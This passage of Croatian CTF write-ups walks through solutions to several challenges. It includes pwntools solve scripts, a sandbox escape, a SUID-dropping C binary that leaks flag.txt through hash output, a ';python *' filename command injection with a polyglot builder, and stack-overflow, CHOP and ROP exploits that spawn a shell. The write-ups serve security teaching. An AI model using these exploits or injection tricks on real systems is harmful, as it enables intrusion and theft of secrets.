target = io.recvline().decode().rstrip("\r\n")
io.recvuntil(b"> ")
 
n = len(target)
chars = string.ascii_letters + string.digits + string.punctuation.replace("~", "")
fill = "~"
plain = ["?"] * n
 
for start in range(0, n, len(chars)):
    probe = fill * start + chars[:min(len(chars), n-start)] + fill * (n-start-min(len(chars), n-start))
    out = run(probe)
    for c in chars[:min(len(chars), n-start)]:
        plain[start + chars.index(c)] = target[out.index(c)]
 
b64 = "".join(plain)
print(b64)
text = base64.b64decode(b64).decode()
print(text)
print(re.search(r"CTF\S+", text).group())
io.close()

Random Network Nonsense 2

Možete li jako efikasno rekonstruirati kako ulazi putuju kroz mrežu?

Spoji se na servis naredbom netcat:

nc chal.platforma.hacknite.hr 14056

Uz zadatak je dan izvorni kod.

Kod ovog zadatka je isto kao prethodni uz par glavnih razlika, nasumično je odabran broj ulaza i izlaza iz mreže iz drugačijeg raspona brojeva, koristi se više nasumičnih Lorem ipsum za generiranje flag teksta i glavna razlika je da su dostupna samo 3 zahtjeva.

Prvi zahtjev mora biti iskorišten da se sazna flag tekst i njegova duljina, što ostavlja samo dva zahtjeva za rekonstrukciju mapiranja ulaznih u izlazne pozicije.

Prethodna tehnika rješavanja više nije moguća, jer se s dva zahtjeva i 100 različitih dopuštenih znakova može saznati samo 198 pozicija, a flag text u ovom zadatku je u prosjeku duži od 500 znakova. Pošto je tekst prvo enkodiran u base64 i tek onda izmiješan, čak i da se sazna 40% mapiranih pozicija, dio originalnog teksta koji se može iz toga saznati je znatno manji, jer se mora rekonstruirati 4 uzastopna znaka ulaza na poziciji koja je višekratnik broja 4 kako bi se taj isječak teksta u base64 formatu mogao dekodirati.

Kako bi se zadatak riješio, umjesto korištenja jednog jedinstvenog znaka u jednom zahtjevu za rekonstruiranje mapiranja, koristi se jedinstvena kombinacija dvaju znakova unutar dva zahtjeva.

Npr. ako je u prvom zahtjevu znak a bio na poziciji 0' i još 9 pozicija, a u drugom zahtjevu je znak b bio na poziciji 0' i još 9 pozicija, kombinacija je “jedinstvena” ako je ovo slučaj isključivo za poziciju 0, da se pojavio niz ab.

Tada je jednostavno potrebno pronaći izlaznu poziciju na kojoj je u prvom zahtjevu bio znak a (kojih je više), a u drugom znak b (samo jedna pozicija zadovoljava oba uvjeta, puno pozicija zadovoljava pojedinačni uvjet).

Ako je C broj različitih dopuštenih znakova, a N broj zahtjeva, ovom tehnikom se može otkriti:

(C-1)**N

mapiranja ulaznih pozicija u izlazne pozicije, dok je tehnikom kojom je riješen prošli zadatak taj broj bio:

(C-1)*N

Ilustracija tehnike:

Zahtjev 1 - Ulaz:   a a a b b b
Zahtjev 2 - Ulaz:   a b c a b c

Zahtjev 1 - Izlaz:  b a b a a b
Zahtjev 2 - Izlaz:  a a c c b b

Jedinstvene kombinacije znakova:

(b,a) -> ulaz[3] -> izlaz[0]
(a,a) -> ulaz[0] -> izlaz[1]
(b,c) -> ulaz[5] -> izlaz[2]
(a,c) -> ulaz[2] -> izlaz[3]
(a,b) -> ulaz[1] -> izlaz[4]
(b,b) -> ulaz[4] -> izlaz[5]

Kako bi se riješio ovaj zadatak, mogu se napraviti manje preinake nad kodom rješenja prethodnog zadatka:

#!/usr/bin/env python3
from pwn import *
import sys, string, base64, re
 
HOST = "chal.platforma.hacknite.hr"
PORT = 14056
 
io = remote(sys.argv[1], int(sys.argv[2])) if len(sys.argv) > 2 else remote(HOST, PORT)
 
def query(data):
    io.sendline(b"2")
    io.recvuntil(b"Enter sequential data: ")
    io.sendline(data.encode())
    io.recvuntil(b"[CONTINUOUS OUTPUT]\n")
    return io.recvline().decode().rstrip("\r\n")
 
io.recvuntil(b"> ")
io.sendline(b"1")
io.recvuntil(b"[CONTINUOUS OUTPUT]\n")
target = io.recvline().decode().rstrip("\r\n")
io.recvuntil(b"> ")
 
n = len(target)
abc = string.ascii_letters + string.digits + string.punctuation
b = len(abc)
 
p1 = "".join(abc[i % b] for i in range(n))
p2 = "".join(abc[i // b] for i in range(n))
 
o1, o2 = query(p1), query(p2)
 
lookup = {(abc[i % b], abc[i // b]): i for i in range(n)}
 
plain = [""] * n
for j, (a, c) in enumerate(zip(o1, o2)):
    plain[lookup[a, c]] = target[j]
 
decoded = base64.b64decode("".join(plain)).decode()
 
print(decoded)
print("FLAG:", re.search(r"CTF\S+", decoded).group())
 
io.close()

ebg IE

Zadatak ima više kombinacija koje prihvaća kao točno rješenje.

Spoji se na servis naredbom netcat:

nc chal.platforma.hacknite.hr 14051

Uz zadatak je dan izvorni kod.

Može se vidjeti da skripta koja pokreće zadatak čita unos korisnika i onda ga prosljeđuje s pomoću naredbe yes u Python skriptu koja se pokreće s pomoću Python2.

Sam Python kod je jako neuobičajen i može se primijetiti da čak i na pozicijama koda na kojima dolaze ključne riječi, kao if, else itd, nalaze se druge nejasne riječi. Ako se pogleda mjesto na kojem bi se strukturalno nalazila ključna riječ if, nalazi se tekst vs. Može se primijetiti da je ovo rot13.

Unutar prve dvije linije koda nalaze se komentari koji zapravo definiraju koje kodiranje je korišteno u programu. Na više mjesta su “definirana” različita kodiranja, ali interpretator prihvaća samo jednu definiciju:

coding :ascii 
pbqvat: ebg13 
 
coding:
 
            rot13
 
# coding: UTF-8
 
pbqvat:                                        pc500
<code>
 
definicija koja postavlja ''ASCII'' je krivo definirana zbog razmaka između dvotočke i ''coding'', ''UTF-8'' je dobro definiran, ali se ne koristi jer je zapravo, iznenađujuće, ''rot13'' kodiranje prihvaćeno i definirano prije. Ovo kodiranje radi ''rot13'' nad svim slovima programa osim onih koja se nalaze u stringovima. Ako se primijeni ''rot13'' na takav način nad kodom, ''pbqvat: ebg13'' će opet postati ''coding: rot13'' što bi spriječilo izvršavanje programa pa se taj dio mora maknuti iz koda.
 
Nakon toga se može dobiti čitljiviji oblik koda:
 
<code python>
k =r ="riny"
n =False =False ==False ==False *False 
h =a =eval ("n")*n *len (eval ("k"))
q =(`a `+"vachg"*a )[a *a :];m =raw_input ()
s =eval ("`input`")+`eval ("()")`
f =eval ("s")
raw_ ="false";
snyfr =(k for k ,v in globals ().iteritems ()if v is raw_ ).next ()
if not eval ("r"):
    Input =input (n )*n 
    pass ;
    d =r =-eval (n )
    input =Input (n )/n 
def l (n ,snyfr ):
    while snyfr :
        n ,snyfr =snyfr ,n %snyfr 
    return n 
e =eval ('k+("a")')[:-1 ];r =eval 
e =r ("e+('()')");f =(r (r ("snyfr")+f [--n --r (`n `)+r ("a")*r ("a")+n :-3 *n ])()*n );eval =e 
f =int (r ("f"))
o =[`f `+" a "*-n ,`n `+" e(a) ",`r ("a")`]
exec ('vachg = `r`  + e;  d="e(q)"   ')
exec ('r =r("r")');q *=-n *n ;pass ;#d = input()
hkf =x =`(r (' `((r))` '))`[-r ("a")*--2 +--1 :--++-r ("a")/4 ---True ];d =```r (`d `)```[1 :-1 ];
eval =r ;m =(e [:-1 ]+(str ("'x'"))+e [-1 ])
z =(e [:-1 ]+r ('r("a*k")')+e [-1 ])
exec ("z=`d`;x=d")
vachg +=`r (hkf )`*n +q 
def y (vachg ):
    return r ("l")((int (vachg )-1 )*(int (vachg )+1 ),len (o )*(len (`vachg `)/3 ))
k +=`r ("x")*True `+`r ('m')`*-++True 
if n ==False or (r (r ("x")*`r ("('(`e`)')")`)!=e )==False :
    k =k [r ("a"):]*n 
    f =o [not n ]
elif n ==True :
    rkrp =riny 
    f =o [n ]
else :
    riny =rkrp 
    f =o [-n ]
try :
    s =r (r ("f")[int (`int (r ("f"))`[False ])])--n 
except :
    False =[int (`int (r ("f"))`[int (min (str (s )))])]
finally :
    o +=[s ,False ,eval ("o")]
for v in range (s --n --n ):
    z =o [v ---n ---n ]
    o =o [s ]
q =len (o [z ]);raw_ =raw_input ()
z =`f `[q ]
raw_ =r (o [2 *n ]+`o [3 *-n ]`)/r (`len (vachg )`[::-1 ]);
Print =[all (n %v for v in (7 ,3 ,2 ,5 ))for n in (r (`raw_ `+z ),r (z +`raw_ `))]
if not ((r (raw_ +z )/v for v in (3 ,2 ,7 ,5 ,1 ,4 ,8 ))and (r (z +raw_ )//d for d in (2 ,1 ,9 ,0 ,5 ,3 ,7 ))):
    o +=o ,z [raw_ ],Print 
if r (`1 =='1'`):
    n =`n `+`o [0 ]`[r ('v')]
    if not (Print [z ==k ]and (Print [k ==`d `]==Print [`d `==```f ```])):
        q =vachg ()
if `1 =='1'`:
    vag =int (o [2 ])+o [3 ]+v 
    n =r ("y")(int (n [int (n [False ])-False ]))
    if len (`f `)-2 !=n /4 :
        o [vag /3 ]()
if len (r (`d `))==len (r (k )):
    n /=2 
    if not (int (r ("f")[-len (`d `)/2 :-len (r (k )):-False ])==vag *2 ):
        n +=2 
        if not (o [-2 ]==o [1 ]):
            d (d )
z =(n ==int (f [6 :4 :-1 ]))
if not (int (f [z ])*3 ==int (f [-z ])+int (f [z -1 ])):
    exit ()
 
z +=(f [3 ]==f [-3 ])
nod =int (f [z -1 ])/2 
if not (nod *nod ==int (f [-z ])):
    rkvg ()
 
m1 =int (min (r ("f")))
m2 =int (max (f ))
m3 =int (f [len (f )-z ])
 
p1 =int (f [z ])
p2 =int (f [p1 ])
p3 =int (f [p2 ])
p4 =int (f [p3 ])
p5 =int (f [p4 ])
 
for q in r ("f"):
    m3 +=int (q )
 
k =[(m3 %10 <=5 ),(p4 ==m1 ),(p1 +p2 ==m2 ),(p3 *p3 ==m2 ),(p3 *2 ==p5 ),(p2 +p1 ==int (f [-z ])),]
 
for c in k :
    z +=c 
 
if r ("z")>=7 :
    print ("You Win!")

kod odmah na početku ima liniju

n =False =False ==False ==False *False 

koja postavlja False u True u daljnjem izvršavanju programa, što je moguće u verziji 2 Pythona. Korisnički unos se čita na tri mjesta (ali skripta koja pokreće program za sva tri šalje istu vrijednost koju je korisnik unio). Samo jedan od ta tri unosa se dalje koristi u kodu te je potrebno pratiti kako se taj unos dalje koristi kroz kod.

Za krive korisničke unose program baca grešku pa je potrebno pronaći korisnički unos za koji će se skripta izvršiti do kraja bez stvaranja greške. Jedna od tehnika koju je potrebno koristiti je referenciranje liste unutar same sebe, kako bi se moglo više puta referencirati element podliste koji pokazuje na samu listu:

>>> a=[1,2,3]
>>> a.append(a)
>>> a
[1, 2, 3, [...]]
>>> a[3]
[1, 2, 3, [...]]
>>> a[3][3]
[1, 2, 3, [...]]
>>> a[3][3][3][3][3][3]
[1, 2, 3, [...]]

Načinom na koji kod koristi korisnički unos može se zaključiti da korisnički unos mora biti broj duljine 12 znamenki.

Na kraju se može pronaći da oblik rješenja koji zadovoljava sve uvjete je tipa:

65X03420Y719

gdje X i Y mogu biti više različitih vrijednosti.

Jedno od rješenja je 654034276719.

Cheesy Quine

Opustite se uz Cheesy Quine!

Spoji se na servis naredbom netcat:

nc chal.platforma.hacknite.hr 14050

Uz zadatak je dan izvorni kod.

Program uzima korisnički unos, izvršava ga unutar vrlo ograničenog okruženja. Potom se provjerava je li rezultat izvršavanja string i nalazi li se u njemu znak a ili b i u tom slučaju se rezultat izvršavanja koda ponovno izvršava kao kod. Ovo se ponavlja unutar petlje 30 puta i ako se uspije izvršiti 30 iteracija onda se ispisuje flag.

Može se primijetiti da se pri izvršavanju koristi dvostruka evaluacija:

to_eval = eval(str(eval(to_eval, sandbox, {})))

Zadatak na prvi pogled izgleda kao da je potrebno napisati kod čiji se rezultat uzastopno može izvršavati barem 60 puta.

No postoji drugačije rješenje, a to je da se korištenjem dopuštenih funkcionalnosti unutar okruženja “sastavi” i pozove funkcija input.

Duljina unosa smije biti do 40 znakova pa se mora s pomoću funkcija chr (a), ord (b) i str(c) na što kraći način sastaviti i pozvati funkcija za korisnički unos.

Jedna od tehnika koja se koristi za stvaranje znakova zagrade () za pozivanje funkcije je:

>>> c=str
>>> c(())
'()'

slova u nazivu funkcije input mogu se jednostavno konstruirati korištenjem funkcije chr (a).

>>> c=str
>>> a=chr
>>> a(105)+a(110)+a(112)+a(117)+a(116)+c(())
'input()'
<code>
 
Ako se ovo pošalje kao unos zadatka, moći će se unijeti novi korisnički unos i jedna iteracija petlje će biti izvršena. Kao korisnički unos se ponovno može unijeti isto kako bi se ponovno pozvao ''input'' i to se može raditi neograničeno puta.
 
Kako bi se riješio zadatak potrebno je 30 puta unijeti isti unos:
 
<code python>
a(105)+a(110)+a(112)+a(117)+a(116)+c(())

Hashtraction

Pošaljite svoj custom hashing program na hash benchmark!

http://chal.hacknite.hr:20002/

Uz zadatak je dan izvorni kod.

U zadatak se učitava binarna izvršna datoteka implementacije hashing algoritma koji se potom testira i provjerava. Moraju biti zadovoljeni uvjeti da program za svaki unos ispiše jedan izlaz koji mora biti:

1. Heksadecimalan tekst duljine točno 64 znaka
2. Determinističan, isti unos daje isti izlaz
3. Razumno otporan na sudare, da ne bude detektiran isti izlaz za dva ulaza

Pri izvršavanju, spuštaju se prava korisnika s pomoću SUID-a koji se inače koristi za privremeno podizanje privilegija na višeg korisnika. Umjesto toga, privilegije se postavljaju na korisnika suiduser koji je restriktiran i ne može pročitati flag.

No program pri izvršavanju može maknuti SUID i nastaviti izvršavanje kao korisnik player koji ima dozvolu pročitati flag.txt.

setreuid(getuid(), getuid());

Kako bi se flag pročitao i ispisao, mora se eksfiltrirati kroz ispise hash vrijednosti na takav način da su svi uvjeti za hash algoritam i dalje zadovoljeni. Tako se prvi dio hash vrijednosti može koristiti za enkodiranje pročitanog flaga, a drugi dio hash vrijednosti osigurava potrebna svojstva, kako program ne bi bio odbačen, nego se izvršava i flag se može pročitati.

Kod koji se može kompajlirati u izvršnu datoteku koja nakon učitavanja na server i izvršavanja ispisuje flag kao hex vrijednost:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[]) {
 
    // Drop SUID privileges
    setreuid(getuid(), getuid());
 
    char flag[23] = {0}; 
    FILE *f = fopen("/home/player/flag.txt", "r");
    if (f != NULL) {
        fread(flag, 1, 23, f);
        fclose(f);
    }
 
    // Print the flag as Hex (46 Hex Characters)
    for (int i = 0; i < 23; i++) {
        printf("%02x", (unsigned char)flag[i]);
    }
 
    // end bytes -> XOR every character of the input
    unsigned char hash[9] = {0};
 
    if (argc > 1) {
        int len = strlen(argv[1]);
        for(int i = 0; i < len; i++) {
            // XOR each character into one of the slots
            hash[i % 9] ^= argv[1][i]; 
        }
    }
 
    // Print hash as Hex (18 Hex Characters, Total = 64)
    for (int i = 0; i < 9; i++) {
        printf("%02x", hash[i]);
    }
 
    printf("\n");
    return 0;
}

Math AlgoBenchmarker

Uploadajte svoj algoritam na benchmark za računanje moving averagea. Izvršava se unutar našeg strogog i sigurnog sandboxa.

http://chal.hacknite.hr:20003/

Uz zadatak je dan izvorni kod.

Na poslužitelj se šalje binarna izvršna datoteka koja se prvo testira a potom izvršava.

Kada se konstruira naredba za izvršavanje datoteke, moguće je napraviti command injection kroz ime datoteke:

# EXECUTION
cmd = (
    "python /app/generate_data.py | "
    f"/usr/bin/sudo -n -u nobody ./{fname}"
)
 
_exec_rc, exec_output = run_limited(
    ["/bin/sh", "-c", cmd],
    cwd=workdir,
    env={"PATH": "/usr/local/bin"},
    timeout=5,
)

Kako bi se riješio zadatak potrebno je kao datoteku na poslužitelj učitati polyglot datoteku koja je istovremeno i Python kod i binarna ELF datoteka.

To je moguće napraviti radi Pythonove implementacije PEP 441 prijedloga za poboljšanje izvršavanja aplikacija unutar zip arhive. Python može direktno izvršavati kod koji se nalazi u main.py datoteci unutar zip arhive. U tom slučaju Python čita datoteku od kraja, a zanemaruje bilo kakav sadržaj koji se pronađe “iznad” parsirane zip arhive s kodom. Ova polyglot tehnika je detaljnije objašnjena u sljedećem writeupu zadatka Math ScriptBuilder.

Kada se datoteka izvršava kao binarna izvršna datoteka, tada se čita od početka a bilo kakav sadržaj dodan na “kraj” datoteke se zanemaruje.

Zato se može konstruirati polyglot datoteka strukture:

ELF: Kompajlirani C kod
Python: ZIP (__main__.py)

U fazi testiranja poslane datoteke, konstrukcija naredbe nije ranjiva, tako da će se sigurno izvršiti binarna izvršna datoteka, koja mora zadovoljiti provjeru kako bi se prešlo u fazu izvršavanja, u kojoj je preko imena datoteke moguće izvršiti command injection

Datoteka se treba nazvati na takav način da sama sebe pokrene s pomoću Pythona:

;python *

Točka-zarez završava prethodnu naredbu, a potom se poziva Python i kao datoteka koja se izvršava se stavlja wildcard * znak. Wildcard će se proširiti na jedinu datoteku u direktoriju, odnosno na samu tu datoteku, tako da imenom datoteke ona sama sebe pokreće s pomoću Pythona.

C kod avg.c koji se kompajlira u izvršnu datoteku poliglota:

#include <stdio.h>
 
int main() {
    int count = 0;
    int sum = 0;
    int num;
 
    while (scanf("%d", &num) == 1) {
        sum += num;
        count++;
    }
 
    if (count > 0) {
        printf("Average: %.2f\n", (float)sum / count);
    } else {
        printf("Average: 0.00\n");
    }
    return 0;
}

Python datoteka main.py koja čita i ispisuje flag:

import os
 
print("--- Python Polyglot Exe ---")
try:
    with open("/app/flag.txt", "r") as f:
        print("FLAG:", f.read())
except Exception as e:
    print("Error reading flag:", e)

Bash skripta koja iz prethodnih dviju datoteka gradi polyglot:

#!/bin/bash
 
echo "[*] Compiling avg.c..."
 
# Compile
gcc avg.c -o temp_elf
 
echo "[*] Zipping __main__.py..."
# Zip Python payload
zip -q temp_payload.zip __main__.py
 
echo "[*] Creating the polyglot"
# Concatenate ELF and ZIP
# wrap filename in quotes (prevent expansion / evaluation) 
cat temp_elf temp_payload.zip > ";python *"
 
echo "[*] Cleaning up tmp build files..."
rm temp_elf temp_payload.zip
 
echo "[+] The payload is built:"
ls -la ";python *"

Izgrađenu datoteku je potrebno učitati na poslužitelj kako bi se flag pročitao i ispisao.

Math ScriptBuilder

Rješenje zadatka dostupno je ovdje:

CTF writeup - Math ScriptBuilder

Sigurnost Umjetne Inteligencije

Binarna eksploatacija

Aliens

Vanzemaljci su napali svijet. Na tebi je da ih pobijediš!

Spoji se na servis naredbom netcat:

nc chal.hacknite.hr 19005

Kontekst zadatka

 Aliens

Izvorni kod:

std::string username;
...
 
int main(){
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);
	system("clear");
	std::ifstream banner("ascii/banner.txt");
	std::string line;
		while (std::getline(banner, line)) {
			std::cout << line << '\n';
	    	}
	banner.close();
	std::cout << "\n\n";
	dialog("Vanzemaljci su napali! Jedina osoba koja može spasiti svijet si ti.\n");
	dialog("Tvoj posao je pobijediti sve neprijatelje!\n");
	dialog("Na posao, CHOP CHOP!\n");
	std::cout << "Unesi svoje ime: ";
	std::cin >> username;
	try{
		start_battle();
	}
	catch (int){
		system("clear");
		std::cout << "Nešto je pošlo po zlu..." << std::endl;
	}
	return 0;
}
 
void start_battle() {
	std::ifstream alien("ascii/alien.txt");
	std::vector<std::string> alien_lines;
	std::string alien_line;
	while (std::getline(alien, alien_line)) {
		alien_lines.push_back(alien_line);
	}
	alien.close();
	std::ifstream soldier("ascii/soldier.txt");
	std::vector<std::string> soldier_lines;
	std::string soldier_line;
	while (std::getline(soldier, soldier_line)) {
		soldier_lines.push_back(soldier_line);
	}
	soldier.close();
	fds.fd = 0;
	fds.events = POLLIN;
	for(int enemies = 0; enemies < ENEMIES; enemies++){
		int hp = 10 + 5 * enemies;
		for (int tabs = 6; tabs >= 0 && hp > 0; tabs--) {
			stop = 0;
			print_battle(soldier_lines, alien_lines, tabs, hp);
			alarm(1);
			signal(SIGALRM, alarm_handler);
			while (hp > 0 && !stop){
				battle(&hp, soldier_lines, alien_lines, tabs);
			}
		}
 
		if (hp > 0){
			system("clear");
			std::cout << "Svijet je izgubio :(" << std::endl;
			exit(0);
		}
		else if (enemies == (ENEMIES - 1)){
			system("clear");
			std::cout << "Pobjeda!! :)" << std::endl;
		}
	}
}
 
...
 
void battle(int* hp, std::vector<std::string> soldier_lines, std::vector<std::string> alien_lines, int tabs){
	char in;
	int r = poll(&fds, 1, 100);
	if(!stop && r > 0 && (fds.revents & POLLIN)){
		read(0, const_cast<char*> (&in), 0x1000);
		if(in != '\n') throw -1;
		if(!stop) {
			--*hp;
			printf("\033[1A");
			if(*hp > 0) print_battle(soldier_lines, alien_lines, tabs, *hp);
		}
	}
}
 
void print_battle(std::vector <std::string> soldier_lines, std::vector <std::string> alien_lines, int tabs, int hp){
	char* error = "clear; echo \"Greška u printanju\"";
	try{
		system("clear");
		for (int i = 0; i < soldier_lines.size(); i++) {
			printf(soldier_lines[i].c_str(), username.c_str());
			for (int i = 0; i < tabs; i++) {
				std::cout << '\t';
			}
			if (i == alien_lines.size()-1) {printf(alien_lines[i].c_str(), hp); printf("\n");}
			else std::cout << alien_lines[i] << std::endl;
		}
	}
	catch (int){
		system(error);
		exit(0);
	}
}

Izlaz naredbe file i pwn checksec:

file a.out:
a.out: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, 
interpreter /ctf/libs/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0,
BuildID[sha1]=a6e04cd0b40f1d5fe74818eb259e5188964a0bef, not stripped
 
pwn checksec a.out:
[!] Could not populate PLT: Invalid argument (UC_ERR_ARG)
[*] '/hacknite_2026/pwn/aliens/a.out'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fc000)
    RPATH:    b'./libs/'

Program je igra u kojoj korisnik mora pobijediti vanzemaljce. U main funkciji korisnika se najprije pita za unos imena nakon čega se pokreće funkcija start_battle. Unutar nje, poziva se funkcija battle za parsiranje unosa \<ENTER\> te ispis trenutnog stanja borbe funkcijom print_battle.

Ranjivost i ideja napada

Ranjivost programa nalazi se u funkciji battle:

	char in;
	int r = poll(&fds, 1, 100);
	if(!stop && r > 0 && (fds.revents & POLLIN)){
		read(0, const_cast<char*> (&in), 0x1000); // <-- Ranjivost
		if(in != '\n') throw -1;

Varijabla in je tipa char, odnosno, veličine jednog bajta. Funkcijom read poziva se unos maksimalne veličine 0x1000 čime je omogućen stack buffer overflow.

S obzirom na to da je datoteka kompilirana sa stack canary zaštitom, klasično prepisivanje return adrese nije moguće. Međutim, program je pisan u C++ programskom jeziku. C++ u odnosu na C ima dodatan mehanizam iznimki (try…catch blok) koji može biti iskorišten napadom Catch Handler Oriented Programming (CHOP).

Kada program baci iznimku, na stogu se izvodi rewind kojim se program vraća u okvir prve funkcije koja se nalazi u try bloku i izvodi naredbe catch bloka. Stack canary se provjerava tek na izlazu iz funkcije.

Ideja CHOP napada je prepisati return adresu na funkciju u kojoj je definiran catch blok. Ako catch blok koristi varijable definirane na stogu, nad kojima imamo kontrolu zbog stack buffer overflow, moguće je izmijeniti tok programa.

Kako bi se zadatak riješio potrebno je iskoristiti stack buffer overflow unutar funkcije battle na način da se pripremi okvir (frame forging) koji odgovara catch bloku funkcije kojom se može izmijeniti tok, prepisati return adresu na try blok te funkcije i izazvati exception (koji se uvijek baci ako prvi uneseni bajt nije “\\n”).

Funkcija print_battle odgovara tom opisu:

	char* error = "clear; echo \"Greška u printanju\"";
	try{
	...
	}
	catch (int){
		system(error);
		exit(0);
	}

Funkcija print_battle unutar catch bloka poziva system(error). Ako se okvir pripremi na način da se na offsetu za varijablu error nalazi adresa stringa “/bin/sh” ili “sh” , korisnik će dobiti sistemsku ljusku. String za pozivanje ljuske se može pripremiti varijablom username unosom imena na početku programa.

Rješenje

from pwn import *
 
e = ELF("./a.out")
if args.D:
    p = gdb.debug("./a.out","""
            b *0x0000000000402e54
            c
            """)
elif args.R:
    p = remote(HOST, PORT)
else:
    p = process("./a.out")
 
p.send("\n\n\n")
p.sendline(b"sh")
p.send(b"A" * 0x55 + p64(0x408420) + p64(0x402d0d))
p.interactive()

Bat gadgets

Priložen je iznimno siguran sustav koji zahtijeva autentifikaciju.
Možeš li saznati tko stoji iza njega?

Spoji se na servis naredbom netcat:

nc chal.hacknite.hr 19004

Kontekst zadatka

Izvorni kod:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
void secret_intro();
 
void get_user_code (char* entered_code){
	char* buf = (char*) malloc(24);
	read(0,buf,24);
	printf("Validiranje...\n");
	sleep(1);
	strcpy(entered_code, buf);
	free(buf);
}
 
int main(){
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);
	FILE* file = fopen("/dev/urandom", "rb");
	unsigned char code[8] = {0};
	fread(code, 1, 8, file);	
	for(int i = 0; i < 8; i++){
		code[i] = (code[i] % 95) + 32;
	}
	unsigned char entered_code [24] = {0};
	for(int i = 0; i < 3; i++){
		printf("%d. UNESI KOD {max 3}: ", i+1);
		get_user_code(entered_code);
		if(strcmp(entered_code, code) == 0) {
			secret_intro();
			exit(0);
		}
	}
	printf("Postignut maksimalan broj pokušaja, izlaz...\n");
	return 0;
}
 
void secret_intro(){
	FILE* file = fopen("ascii/bats.txt", "r");
	char* buf = (char*) malloc(0x2000);
	int n = fread(buf, 1, 0x2000, file);
	printf("%s\n", buf);
	free(buf);
	fclose(file);
	char in;
	gets(&in);
}

Izlaz naredbi file i pwn checksec:

file a.out:
a.out: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /ctf/libs/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0,
BuildID[sha1]=511906fccc020c030a02b4e085a3f05dd25d8d11, not stripped
 
pwn checksec a.out:
[*] '/hacknite_2026/pwn/bat_gadgets/a.out'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  b'./libs'

Program najprije funkcijom get_user_code traži unos u entered_code polje koji mora biti jednak izlazu iz /dev/urandom pohranjen u code polju. Korisniku je dopušteno maksimalno 3 pokušaja.

Nakon unosa, strcmp funkcijom provjerava se jesu li podatci jednaki. Ako jesu, poziva se secret_intro. Unutar nje poziva se ranjiva funkcija gets.

Ranjivost i ideja napada

Unutar get_user_code funkcije poziva se malloc s argumentom 24. U vraćeni chunk upisuje se funkcijom read argumentom 24 za veličinu unosa. Podatci iz chunka kopiraju se u varijablu entered_code funkcijom strcpy. Na stogu, entered_code se nalazi odmah prije code varijable.

Ranjivost je neispravan način korištenja read i strcpy funkcija. Funkcija read unos ne obrađuje kao string, zbog čega ne postavlja vrijednost 0x00 na kraju unosa. Funkcija strcpy kopira podatke sve dok ne naiđe na 0x00 vrijednost koju također kopira.

S obzirom na to da se upisuje u chunk veličine 24, dio podataka ulazi u prev_size zaglavlje idućeg chunka na heapu. Zaglavlje prev_size prethodi zaglavlju size koji uvijek sadrži istu vrijednost u svakoj vrtnji programa. Izgled u memoriji:

0x406480: 0x00	0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x406488: 0x21	0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x406490: 0x41	0x41 0x41 0x41 0x41 0x41 0x41 0x41  ← chunk u koji se zapisuje unos
0x406498: 0x41	0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x4064a0: 0x41	0x41 0x41 0x41 0x41 0x41 0x41 0x41  ← prev_size idućeg chunka
0x4064a8: 0x61	0xfb 0x01 0x00 0x00 0x00 0x00 0x00  ← size idućeg chunka

Jer se od početka unosa do kraja vrijednosti u size zaglavlju ne nalazi vrijednost 0x00, funkcija strcpy će prepisati i vrijednost u size zaglavlju na stog i time izmijeniti vrijednost u code polju. Zatim u drugom pokušaju ako se unese vrijednost size zaglavlja, provjera funkcijom strcmp će vratiti nulu.

Kako bi se pozvala sistemska ljuska, potrebno je dobiti leak libc objekta i pozvati funkciju system. To se može postići ROP napadom s obzirom na to da je dostupan stack buffer overflow zbog funkcije gets.

Izlaz naredbe xgadget:

xgadget --reg-pop a.out:
TARGET 0 - [ name: 'a.out' | fmt-arch: ELF-X64 | entry: 0x00000000401110 | exec bytes/segments: 1,125/1 ] 
 
0x00000000401451: pop r12; pop r13; pop r14; pop r15; ret; 
0x00000000401453: pop r13; pop r14; pop r15; ret; 
0x00000000401455: pop r14; pop r15; ret; 
0x00000000401457: pop r15; ret; 
0x00000000401454: pop rbp; pop r14; pop r15; ret; 
0x000000004011dd: pop rbp; ret; 
0x00000000401458: pop rdi; ret; 
0x00000000401456: pop rsi; pop r15; ret; 
0x00000000401452: pop rsp; pop r13; pop r14; pop r15; ret; 

Provjerom adrese vidimo da su gadgeti dio funkcije batman_gadgets:

gef➤  disas 0x401439
Dump of assembler code for function batman_gadgets:
   0x0000000000401439 <+0>:	push   0x8
   0x000000000040143b <+2>:	push   0x7
   0x000000000040143d <+4>:	push   0x6
   0x000000000040143f <+6>:	push   0x5
   0x0000000000401441 <+8>:	push   0x4
   0x0000000000401443 <+10>:	push   0x3
   0x0000000000401445 <+12>:	push   0x2
   0x0000000000401447 <+14>:	push   0x1
   0x0000000000401449 <+16>:	pop    r8
   0x000000000040144b <+18>:	pop    r9
   0x000000000040144d <+20>:	pop    r10
   0x000000000040144f <+22>:	pop    r11
   0x0000000000401451 <+24>:	pop    r12
   0x0000000000401453 <+26>:	pop    r13
   0x0000000000401455 <+28>:	pop    r14
   0x0000000000401457 <+30>:	pop    r15
   0x0000000000401459 <+32>:	ret

Gadgeti za registre RDI, RSI i RDX su prikriveni, no nalaze se u funkciji ako se gledaju na drugačijem offsetu, na primjer:

gef➤  x/i 0x0000000000401457
   0x401457 <batman_gadgets+30>:	pop    r15
gef➤  x/i 0x0000000000401457+1
   0x401458 <batman_gadgets+31>:	pop    rdi

Kako bi se dobio libc leak, može se iskoristiti neka od funkcija u .got.plt sekciji poput puts. Nakon dobivanja leaka, ponovno se pozove secret_intro u kojemu se unese ROP lanac za funkciju system.

Rješenje

from pwn import *
 
e = ELF("./a.out")
r = ROP("./a.out")
l = ELF("./libs/libc.so.6")
 
if args.D:
    p = gdb.debug("./a.out", "b secret_intro")
elif args.R:
